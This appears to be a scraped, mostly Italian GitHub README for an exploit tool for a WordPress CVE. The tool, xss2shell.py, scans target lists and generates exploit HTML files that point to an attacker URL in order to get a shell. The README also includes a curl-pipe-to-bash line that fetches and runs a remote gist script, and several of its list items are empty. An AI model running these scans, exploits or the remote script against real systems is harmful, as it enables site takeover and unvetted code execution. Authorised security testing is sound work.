horkimhab/cve-2026-64638CVE-2026-64638 - Draft or TODO
Supporta la manutenzione di questo progetto con PayPal o scansionando il codice QR qui sotto.
Utilizza questo progetto solo in ambienti sicuri e autorizzati, come:
Esempio di configurazione:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
Esempio di utilizzo:
# 1. Scanning Mode - Detect Vulnerable WordPress Sites:
# Scan a single URL
python xss2shell.py scan http://wp-vm.local
# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt
# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json
# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local
# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/
# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y per eliminare la directory .git annidataUn repository per apprendere, testare e ricercare concetti di cybersicurezza in ambienti controllati.
Questo repository è destinato esclusivamente a ricerca sulla sicurezza a scopo educativo e autorizzata.
È progettato per aiutare gli utenti a imparare:
Utilizza questo repository solo in ambienti in cui hai l'autorizzazione, come:
L'uso non autorizzato o illegale è severamente proibito.
L'autore e i collaboratori non sono responsabili per eventuali danni, usi impropri, problemi legali o perdite causati da questo progetto.
Utilizzando questo repository, accetti che:
Questo progetto è destinato a:
Si prega di seguire le pratiche di divulgazione responsabile e di conformarsi a tutte le leggi applicabili.
Per divulgazione responsabile o collaborazione, contatta il manutentore del repository tramite GitHub.